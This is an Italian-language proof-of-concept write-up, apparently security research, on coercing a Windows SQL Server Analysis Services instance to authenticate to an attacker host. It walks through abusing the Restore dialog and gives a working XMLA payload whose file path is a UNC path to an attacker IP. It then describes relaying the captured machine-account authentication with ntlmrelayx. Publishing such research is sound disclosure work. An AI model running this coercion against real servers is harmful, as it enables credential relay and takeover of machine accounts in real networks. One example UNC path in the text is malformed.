
Una tecnica per forzare un SQL Server Windows ad autenticarsi su una macchina arbitraria.

Una tecnica per forzare un SQL Server Windows ad autenticarsi su una macchina arbitraria.
Questa proof of concept è co-scritta da:
Per innescare l'autenticazione come account della macchina locale, dobbiamo connetterci al SQL Server remoto utilizzando le credenziali utente:

Quindi selezioneremo "Restore" per ripristinare il database da un determinato file.

Per generare il file XMLA, inserisci il percorso di un file casuale nel campo "Backup File" e fai clic su OK.

Quindi modifica il percorso (impostato su un file casuale) e sostituiscilo con un percorso UNC verso il tuo server di attacco (ad esempio \\192.168.128\SYSVOL\db.abf)

Query XMLA della prova di concetto (poc.xmla):
<Restore xmlns="http://schemas.microsoft.com/analysisservices/2003/engine">
<File>\\192.168.2.51\SYSVOL\db.abf</File>
<DatabaseName>\\192.168.2.51\SYSVOL\db.abf</DatabaseName>
<DbStorageLocation xmlns="http://schemas.microsoft.com/analysisservices/2008/engine/100/100">\\192.168.2.51\SYSVOL\db.abf</DbStorageLocation>
</Restore>
E otteniamo un'autenticazione dall'account della macchina locale del SQL Server:

Una volta ottenuta l'autenticazione, possiamo inoltrarla con ntlmrelayx per eseguire molte azioni per conto del computer SQL01$.
Tutto ciò è interessante, ma è complicato innescare questa autenticazione forzata da una macchina Linux attaccante, poiché non abbiamo accesso a SQL Server Management Studio (SSMS).